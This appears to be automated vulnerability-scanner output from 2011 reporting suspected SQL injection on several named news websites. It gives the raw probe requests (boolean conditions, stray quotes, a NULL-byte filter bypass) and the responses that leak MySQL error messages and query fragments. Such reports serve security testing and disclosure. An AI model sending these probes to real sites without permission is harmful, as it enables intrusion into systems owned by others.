The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads %20and%201%3d1--%20 and %20and%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /news/local-beat/Explosion-Blows-Lid-Off-Broward-Grow-House-116149574.html?dr&1%20and%201%3d1--%20=1 HTTP/1.1 Host: www.nbcmiami.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Server: Apache X-Server-Name: sj-c14-r7-u38-b4 Content-Type: text/html;charset=utf-8 Date: Mon, 14 Feb 2011 20:16:11 GMT Connection: close Connection: Transfer-Encoding Content-Length: 253024
GET /news/local-beat/Explosion-Blows-Lid-Off-Broward-Grow-House-116149574.html?dr&1%20and%201%3d2--%20=1 HTTP/1.1 Host: www.nbcmiami.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Server: Apache X-Server-Name: sj-c14-r7-u38-b4 Content-Type: text/html;charset=utf-8 Date: Mon, 14 Feb 2011 20:16:11 GMT Connection: close Connection: Transfer-Encoding Content-Length: 253014
The dr parameter appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the dr parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /news/local-beat/UM-Study-Says-Energy-Drinks-Pose-Serious-Risk-to-Kids-116150794.html?dr'%20and%201%3d1--%20 HTTP/1.1 Host: www.nbcmiami.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Server: Apache X-Server-Name: sj-c14-r7-u38-b4 Content-Type: text/html;charset=utf-8 Date: Mon, 14 Feb 2011 20:15:04 GMT Connection: close Connection: Transfer-Encoding Content-Length: 261120
GET /news/local-beat/UM-Study-Says-Energy-Drinks-Pose-Serious-Risk-to-Kids-116150794.html?dr'%20and%201%3d2--%20 HTTP/1.1 Host: www.nbcmiami.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Server: Apache X-Server-Name: sj-c14-r7-u38-b4 Content-Type: text/html;charset=utf-8 Date: Mon, 14 Feb 2011 20:15:06 GMT Connection: close Connection: Transfer-Encoding Content-Length: 261110
1.24. http://www.rollingstone.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.rollingstone.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads %20and%201%3d1--%20 and %20and%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /?1%20and%201%3d1--%20=1 HTTP/1.1 Host: www.rollingstone.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Content-Type: text/html; charset=utf-8 Server: Apache (Unix;) Cache-Control: private, max-age=1800 Date: Mon, 14 Feb 2011 20:02:33 GMT Connection: close Connection: Transfer-Encoding Content-Length: 52071
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml">
<div id="main" class=""> <h1 class="hidden">Rollingstone Homepage - Music News, Reviews and Culture</h1> <div id="col1"> <div id="col1_content" class="clearfix"> <div class="moduleContainer diagonalBackground newsContainer latestNews"> <a href="/news"> <h2>Latest News</h2> </a> <div class="diagonalContent"> <span class="dateTime">4 hours, 22 minutes ago</span> <p class="newsMainDek"><a href="/music/news/arcade-fire-lady-antebellum-lady-gaga-win-big-at-the-grammys-20110214">Arcade Fire, Lady Antebellum, Lady Gaga Win Big at the Grammys</a></p> <p class="newsSubDek"><a href="/music/news/arcade-fire-lady-antebellum-lady-gaga-win-big-at-the-grammys-20110214">Plus: Watch some of the best performances of the night, including Bob Dylan, Mick Jagger and Cee Lo Green</a></p> <img src="http://assets.rollingstone.com/images/fe/layout/horizontalNarrowDivider.gif" width="202" height="4" /><br />
<span class="dateTime">3 hours, 42 minutes ago</span> <p><a href="/music/news/warner-music-group-celebrates-at-exclusive-grammy-after-party-20110214">Warner Music Group Celebrates at Exclusive Grammy After-Party</a></p>
GET /?1%20and%201%3d2--%20=1 HTTP/1.1 Host: www.rollingstone.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Content-Type: text/html; charset=utf-8 Server: Apache (Unix;) Cache-Control: private, max-age=1795 Date: Mon, 14 Feb 2011 20:02:35 GMT Connection: close Connection: Transfer-Encoding Content-Length: 52059
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml">
<div id="main" class=""> <h1 class="hidden">Rollingstone Homepage - Music News, Reviews and Culture</h1> <div id="col1"> <div id="col1_content" class="clearfix"> <div class="moduleContainer diagonalBackground newsContainer latestNews"> <a href="/news"> <h2>Latest News</h2> </a> <div class="diagonalContent"> <span class="dateTime">4 hours, 22 minutes ago</span> <p class="newsMainDek"><a href="/music/news/arcade-fire-lady-antebellum-lady-gaga-win-big-at-the-grammys-20110214">Arcade Fire, Lady Antebellum, Lady Gaga Win Big at the Grammys</a></p> <p class="newsSubDek"><a href="/music/news/arcade-fire-lady-antebellum-lady-gaga-win-big-at-the-grammys-20110214">Plus: Watch some of the best performances of the night, including Bob Dylan, Mick Jagger and Cee Lo Green</a></p> <img src="http://assets.rollingstone.com/images/fe/layout/horizontalNarrowDivider.gif" width="202" height="4" /><br />
<span class="dateTime">3 hours, 42 minutes ago</span> <p><a href="/music/news/warner-music-group-celebrates-at-exclusive-grammy-after-party-20110214">Warner Music Group Celebrates at Exclusive Grammy After-Party</a></p>
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /skynews/home%00' HTTP/1.1 Host: www.sky.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 404 Not Found Server: IBM_HTTP_Server Last-Modified: Wed, 01 Dec 2010 10:51:19 GMT ETag: "613e-add8-15ce37c0" Accept-Ranges: bytes Content-Type: text/html Content-Length: 44504 Date: Mon, 14 Feb 2011 20:02:22 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html class="js-on" xmlns="http://www.w3.org/1999/xhtml" lang="en"><head>
GET /skynews/home%00'' HTTP/1.1 Host: www.sky.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 404 Not Found Server: IBM_HTTP_Server Content-Type: text/html; charset=iso-8859-1 X-Pad: avoid browser bug X-N: S Date: Mon, 14 Feb 2011 20:02:23 GMT Content-Length: 210 Connection: close
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /skynews/home was not found on this server.</p> </bod ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload 13776228'%20or%201%3d1--%20 was submitted in the REST URL parameter 2, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /author/howard-kurtz13776228'%20or%201%3d1--%20/ HTTP/1.1 Host: www.thedailybeast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Content-Type: text/html; charset=UTF-8 Date: Mon, 14 Feb 2011 20:02:43 GMT Content-Length: 10432 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" mlns:fb="http://www.facebook.com/ ...[SNIP]... <!-- SELECT t1.name from tags t1, tags_to_items tti WHERE tti.items_id = AND tti.tags_id = t1.id AND tti.tags_types_id = 7 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND tti.tags_id = t1.id AND tti.tags_types_id = 7' at line 3 --> ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload 17752560'%20or%201%3d1--%20 was submitted in the REST URL parameter 2, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /author/lloyd-grove17752560'%20or%201%3d1--%20 HTTP/1.1 Host: www.thedailybeast.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=157974911.1297714276.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; __qca=P0-1634537195-1297715390784; s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26ACC856051D1158-6000014140775629[CE]; __utma=157974911.1591606239.1297714276.1297714276.1297714276.1; __utmc=157974911; __utmb=157974911.3.10.1297714276
Response (redirected)
HTTP/1.1 200 OK Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Date: Mon, 14 Feb 2011 20:33:10 GMT Connection: close Content-Length: 10431
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" mlns:fb="http://www.facebook.com/ ...[SNIP]... <!-- SELECT t1.name from tags t1, tags_to_items tti WHERE tti.items_id = AND tti.tags_id = t1.id AND tti.tags_types_id = 7 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND tti.tags_id = t1.id AND tti.tags_types_id = 7' at line 3 --> ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload 12476951'%20or%201%3d1--%20 was submitted in the REST URL parameter 2, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /author/lloyd-grove12476951'%20or%201%3d1--%20/ HTTP/1.1 Host: www.thedailybeast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Content-Type: text/html; charset=UTF-8 Date: Mon, 14 Feb 2011 20:02:56 GMT Content-Length: 10431 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" mlns:fb="http://www.facebook.com/ ...[SNIP]... <!-- SELECT t1.name from tags t1, tags_to_items tti WHERE tti.items_id = AND tti.tags_id = t1.id AND tti.tags_types_id = 7 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND tti.tags_id = t1.id AND tti.tags_types_id = 7' at line 3 --> ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /celebrities'/sean_penn/sean_penn_throws_a_hissy_fit_at_lax_security_airport_021111.php HTTP/1.1 Host: x17online.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 404 Not found Date: Mon, 14 Feb 2011 20:05:06 GMT Server: Apache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 1859
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' or fileinfo_url = '/celebrities'/sean_penn/sean_penn_throws_a_hissy_fit_at_lax' at line 5</font> ...[SNIP]...
Request 2
GET /celebrities''/sean_penn/sean_penn_throws_a_hissy_fit_at_lax_security_airport_021111.php HTTP/1.1 Host: x17online.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 404 Not found Date: Mon, 14 Feb 2011 20:05:07 GMT Server: Apache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 1516
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" id="sixapart-standard"> <head>
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /celebrities/sean_penn'/sean_penn_throws_a_hissy_fit_at_lax_security_airport_021111.php HTTP/1.1 Host: x17online.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 404 Not found Date: Mon, 14 Feb 2011 20:05:08 GMT Server: Apache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 1859
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' or fileinfo_url = '/celebrities/sean_penn'/sean_penn_throws_a_hissy_fit_at_lax' at line 5</font> ...[SNIP]...
Request 2
GET /celebrities/sean_penn''/sean_penn_throws_a_hissy_fit_at_lax_security_airport_021111.php HTTP/1.1 Host: x17online.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 404 Not found Date: Mon, 14 Feb 2011 20:05:08 GMT Server: Apache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 1516
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" id="sixapart-standard"> <head>
The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 3, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /celebrities/sean_penn/sean_penn_throws_a_hissy_fit_at_lax_security_airport_021111.php' HTTP/1.1 Host: x17online.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 404 Not found Date: Mon, 14 Feb 2011 20:05:09 GMT Server: Apache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 1859
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''/') or (fileinfo_url like '/celebrities/sean_penn/sean_penn_throws_a_hissy_fit_' at line 5</font> ...[SNIP]...
Request 2
GET /celebrities/sean_penn/sean_penn_throws_a_hissy_fit_at_lax_security_airport_021111.php'' HTTP/1.1 Host: x17online.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 404 Not found Date: Mon, 14 Feb 2011 20:05:09 GMT Server: Apache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 1516
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" id="sixapart-standard"> <head>
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
HTTP/1.1 404 Not found Date: Mon, 14 Feb 2011 20:11:06 GMT Server: Apache Content-Type: text/html; charset=utf-8 Content-Length: 1786
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' or fileinfo_url = '/css'/main.css/') or (fileinfo_url like '/css'/main.css/ind' at line 5</font> ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 2, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
HTTP/1.1 404 Not found Date: Mon, 14 Feb 2011 20:11:08 GMT Server: Apache Content-Type: text/html; charset=utf-8 Content-Length: 1786
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''/') or (fileinfo_url like '/css/main.css'/index%')) and blo' at line 5</font> ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /favicon.ico' HTTP/1.1 Host: x17online.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not found Date: Mon, 14 Feb 2011 20:08:48 GMT Server: Apache Content-Type: text/html; charset=utf-8 Content-Length: 1785
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''/') or (fileinfo_url like '/favicon.ico'/index%')) and blog' at line 5</font> ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
HTTP/1.1 404 Not found Date: Mon, 14 Feb 2011 20:13:13 GMT Server: Apache Content-Type: text/html; charset=utf-8 Content-Length: 1786
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' or fileinfo_url = '/js'/common.js/') or (fileinfo_url like '/js'/common.js/ind' at line 5</font> ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 2, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
HTTP/1.1 404 Not found Date: Mon, 14 Feb 2011 20:13:15 GMT Server: Apache Content-Type: text/html; charset=utf-8 Content-Length: 1786
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''/') or (fileinfo_url like '/js/common.js'/index%')) and blo' at line 5</font> ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
HTTP/1.1 404 Not found Date: Mon, 14 Feb 2011 20:14:21 GMT Server: Apache Content-Type: text/html; charset=utf-8 Content-Length: 1784
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' or fileinfo_url = '/js'/main.js/') or (fileinfo_url like '/js'/main.js/index%'' at line 5</font> ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 2, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
HTTP/1.1 404 Not found Date: Mon, 14 Feb 2011 20:14:22 GMT Server: Apache Content-Type: text/html; charset=utf-8 Content-Length: 1784
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''/') or (fileinfo_url like '/js/main.js'/index%')) and blog_' at line 5</font> ...[SNIP]...